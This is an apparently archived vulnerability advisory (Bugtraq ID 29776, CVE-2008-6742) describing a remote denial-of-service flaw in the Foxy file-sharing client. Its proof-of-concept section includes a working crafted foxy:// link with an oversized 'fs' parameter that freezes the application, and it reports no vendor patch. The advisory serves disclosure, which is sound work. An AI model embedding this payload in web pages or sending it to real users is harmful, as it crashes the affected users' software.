Foxy 'fs' Parameter Memory Exhaustion Remote Denial of Service Vulnerability

BID:29776

Info

Foxy 'fs' Parameter Memory Exhaustion Remote Denial of Service Vulnerability

Bugtraq ID: 29776
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2008-6742
Remote: Yes
Local: No
Published: Jun 17 2008 12:00AM
Updated: May 07 2015 05:28PM
Credit: Styxosaurus
Vulnerable: Foxy Media Foxy 0
Not Vulnerable:

Discussion

Foxy 'fs' Parameter Memory Exhaustion Remote Denial of Service Vulnerability

Foxy is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input.

Attackers can exploit this issue by enticing an unsuspecting user to view a maliciously crafted webpage. Successful attacks cause the application to freeze.

Exploit / POC

Foxy 'fs' Parameter Memory Exhaustion Remote Denial of Service Vulnerability

Attackers can exploit this issue by enticing unsuspecting users to download maliciously crafted web pages.

The following example HTTP link is sufficient to trigger the issue:

<a href='foxy://download? xt=urn:sha1:FPLNO5OUPWLSRWYZ4J4ZNAIJLEPSIND4&dn=music.wmv&fs=10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'>Music.wmv</a>

Solution / Fix

Foxy 'fs' Parameter Memory Exhaustion Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Foxy 'fs' Parameter Memory Exhaustion Remote Denial of Service Vulnerability

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